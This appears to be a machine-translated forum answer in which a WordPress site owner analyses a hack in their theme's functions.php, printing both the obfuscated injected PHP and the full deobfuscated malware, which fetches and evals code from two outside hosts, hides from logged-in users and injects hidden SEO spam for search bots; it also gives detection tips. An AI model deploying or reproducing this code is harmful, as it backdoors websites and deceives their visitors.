我不会重复斯奎什回答中的任何好建议。您还应该阅读this article on Wordpress security. 我只想讲述一下我从这一集中学到的细节。
我的攻击是一种被称为“hideMeYa”的黑帽SEO:http://siteolytics.com/black-hat-seo-technique-demystified/
基本上,攻击者会在内容中插入一堆隐藏的链接,这样人类就看不到它们,但谷歌可以。因此,他们利用毫无戒心的网站收集到可疑网站的反向链接。
很难说这是怎么做到的,但在这个网站上有两个已知的安全漏洞:
管理员用户仍在使用中(您应该删除/重命名管理员用户)在我的例子中,被感染的文件是我主题的功能。php文件。最重要的是:
<?php $wp_function_initialize = create_function(\'$a\',strrev(\';)a$(lave\')); $wp_function_initialize(strrev(\';))"=owOpICcoB3Xu9Wa0Nmb1Z2XrNWYixGbhNmIoQnchR3cfJ2bKogCKASfKAyOwRCIuJXd0VmcJogCK0XCK0XCJogC9lQCJoQfJkQCJowOxQHelRHJuAHJ9AHJJkQCJkgC7V2csVWfJkQCJoQfJkQCJkgC7kCckACLxQHelRHJuICIi4yZhRHJgwyZhRHJoQ3cylmZfV2YhxGclJ3XyR3c9AHJJkQCJkQCKsXZzxWZ9lQCJkQCKAyOpAHJsEDd4VGdk4iIgIiLnFGdkwyZhRHJoU2YhxGclJXafJHdzBUPwRSCJkQCJkgC7lSK00TPlBXe0RCK8xXKz0TPlBXe0RCKoAiZplQCJkQCKsXKpcWY0RCLwRCKyR3cpJHdzhCImlWCJkQCKowepkiIi0TIxQHelRHJoYiJpIiI9EyZhRHJogCImlWCJkgC7kSMmVnYkwiI8xHfigSZk9GbwhXZA1TKxQHelRHJscWY0RCK0NXaslQCJowOpQHelRHJoUGZvNWZk9FN2U2chJGQ9EjZ1JGJJkQCKsXK09mYkgCImlWCJogC9lQCKsTKoAXafR3biVGbn92bn91cp1DdvJGJJkQCKsXKpMTP9UGc5RHJowHfpITP9UGc5RHJogCImlWCJoQfJkgC7kCKhV3X09mYfNXa9Q3biRSCJkgC7lSK00TPlBXe0RCK8xXKx0TPlBXe0RCKoAiZplQCKsXKpQTP9UGc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U2csFmZ90TI05WZ052bjRCKml2Opwmc1RCK5kTOf5WZw92aj92cmlnc0BUP05WZ052bjRyO05WZ052bjRCIuJXd0VmcpU2csFmZ90TI05WZ052bjRCKml2Opwmc1RCK5kTOf5WZw9mZ5JHdA1DduVGdu92YksDduVGdu92YkAibyVHdlJXKlNHbhZWP9ECduVGdu92YkgiZptTKsJXdkgSO5kzXlxWamlnc0BUP05WZ052bjRyO05WZ052bjRCIuJXd0VmcpU2csFmZ90TI05WZ052bjRCKml2Opwmc1RCK5kTOfxmc1NWeyRHQ9QnblRnbvNGJ7IiI9QnblRnbvNGJ7lCbyVHJokTO58FbyV3X0V2Zg42bpR3YuVnZ"(edoced_46esab(lave\'));?><?php
请注意,它的名称非常巧妙,看起来像典型的Wordpress内容。
我不会遍历所有的代码,但基本上base64_encode
将代码转换为反向字符串。这个strrev()
很难在这里找到两个最大的危险信号:base64_encode
和eval
. 下面包含了未混淆的代码,但这里是我最大的收获(除了Squish所说的):
小心eval
和base64_decode
, but also look for 其反向等价物:lave
和edoced_46esab
也可以查找strrev
. 在WP core中,很少有合法的使用所有这些会返回误报,但不是太多,以至于您无法仔细检查每一个在我的情况下,黑客不会出现在登录用户的面前(它会检查客户端的cookie),所以不要让它让你失望。这是一个巧妙的转变,让最有可能寻找它的用户感到困惑晚安,祝你好运。
未混淆的代码是:
function get_url_999($url){$content="";$content=@trycurl_999($url);if($content!==false)return $content;$content=@tryfile_999($url);if($content!==false)return $content;$content=@tryfopen_999($url);if($content!==false)return $content;$content=@tryfsockopen_999($url);if($content!==false)return $content;$content=@trysocket_999($url);if($content!==false)return $content;return \'\';}
function trycurl_999($url){if(function_exists(\'curl_init\')===false)return false;$ch = curl_init ();curl_setopt ($ch, CURLOPT_URL,$url);curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ch, CURLOPT_TIMEOUT, 5);curl_setopt ($ch, CURLOPT_HEADER, 0);$result = curl_exec ($ch);curl_close($ch);if ($result=="")return false;return $result;}
function tryfile_999($url){if(function_exists(\'file\')===false)return false;$inc=@file($url);$buf=@implode(\'\',$inc);if ($buf=="")return false;return $buf;}
function tryfopen_999($url){if(function_exists(\'fopen\')===false)return false;$buf=\'\';$f=@fopen($url,\'r\');if ($f){while(!feof($f)){$buf.=fread($f,10000);}fclose($f);}else return false;if ($buf=="")return false;return $buf;}
function tryfsockopen_999($url){if(function_exists(\'fsockopen\')===false)return false;$p=@parse_url($url);$host=$p[\'host\'];$uri=$p[\'path\'].\'?\'.$p[\'query\'];$f=@fsockopen($host,80,$errno, $errstr,30);if(!$f)return false;$request ="GET $uri HTTP/1.0\\n";$request.="Host: $host\\n\\n";fwrite($f,$request);$buf=\'\';while(!feof($f)){$buf.=fread($f,10000);}fclose($f);if ($buf=="")return false;list($m,$buf)=explode(chr(13).chr(10).chr(13).chr(10),$buf);return $buf;}
function trysocket_999($url){if(function_exists(\'socket_create\')===false)return false;$p=@parse_url($url);$host=$p[\'host\'];$uri=$p[\'path\'].\'?\'.$p[\'query\'];$ip1=@gethostbyname($host);$ip2=@long2ip(@ip2long($ip1)); if ($ip1!=$ip2)return false;$sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);if (!@socket_connect($sock,$ip1,80)){@socket_close($sock);return false;}$request ="GET $uri HTTP/1.0\\n";$request.="Host: $host\\n\\n";socket_write($sock,$request);$buf=\'\';while($t=socket_read($sock,10000)){$buf.=$t;}@socket_close($sock);if ($buf=="")return false;list($m,$buf)=explode(chr(13).chr(10).chr(13).chr(10),$buf);return $buf;}
function str_replace_first($search, $replace, $subject) {$pos = stripos($subject, $search);if ($pos !== false) { $subject = substr_replace($subject, $replace, $pos, strlen($search));} return $subject;}
function is_bot_ua(){$bot=0;$ua=@$_SERVER[\'HTTP_USER_AGENT\'];if (stristr($ua,"msnbot")||stristr($ua,"Yahoo"))$bot=1;if (stristr($ua,"bingbot")||stristr($ua,"googlebot"))$bot=1;return $bot;}
function is_googlebot_ip(){$k=0;$ip=sprintf("%u",@ip2long(@$_SERVER["REMOTE_ADDR"]));if (($ip>=1123631104)&&($ip<=1123639295))$k=1;return $k;}
function update_file_999(){
$uri="g.php?t=p&i=7dbdd7b4";
$actual1="http://nlinthewood.com/".$uri;
$actual2="http://maxigg.ru/".$uri;
$val=get_url_999($actual1);
if ($val=="")$val=get_url_999($actual2);
if (strstr($val,"|||CODE|||")){
list($val,$code)=explode("|||CODE|||",$val);
eval(base64_decode($code));
}
return $val;
}
function callback_function_php($p) {
if (isset($_COOKIE[\'wordpress_test_cookie\']) || isset($_COOKIE[\'wp-settings-1\']) || isset($_COOKIE[\'wp-settings-time-1\']) || (function_exists(\'is_user_logged_in\') && is_user_logged_in()) ) {
return $p;
}
$x=\'{options_names}\';
$buf="";
$update=0;
if (!$k = get_option($x)){
if (!add_option($x,Array(),\'\',\'no\')){
return $p;
}
$update=1;
}else{
$ctime=time()-@$k[1];
if ($ctime>3600*12){
$update=1;
}
}
if ($update){
$val=update_file_999();
$k=array();
$k[0]=$val;
$k[1]=time();
if (!update_option($x,$k)){
return $p;
}
}
if (!$k = get_option($x)){
return $p;
}
$buf=@$k[0];
if ($buf==""){
return $p;
}
list($type,$text)=@explode("|||",$buf);
if ($text=="")return $p;
$type+=0;
$bot=0;
if ($type==0){
$buf1=@base64_decode($text);
list($tagjs,$js,$tagtext1,$text1)=@explode("|||",$buf1);
if (($tagjs!="")&&(stristr($p,$tagjs))){
$p=str_replace_first($tagjs, $js." ".$tagjs, $p);
}else{
$p=$p.$js;
}
if (($tagtext1!="")&&(stristr($p,$tagtext1))){
$p=str_replace_first($tagtext1, $text1." ".$tagtext1, $p);
}else{
$p=$p.$text1;
}
}else
if (($type==1)||($type==2)||($type==3)||($type==4)){
if (($type==1)||($type==4)){
$bot=is_bot_ua();
}
if (($type==2)||($type==3)){
$bot=is_googlebot_ip();
}
if ($bot){
$buf1=@base64_decode($text);
list($tag,$text1)=@explode("|||",$buf1);
if (($tag!="")&&($text1!="")){
if (stristr($p,$tag)){
if (($type==3)||($type==4)){
$p=@str_ireplace($tag,$tag." ".$text1,$p);
}else{
$p=str_replace_first($tag, $tag." ".$text1, $p);
}
}else{
$p=$p.$text1;
}
}
}
}
return $p;
}
ob_start("callback_function_php");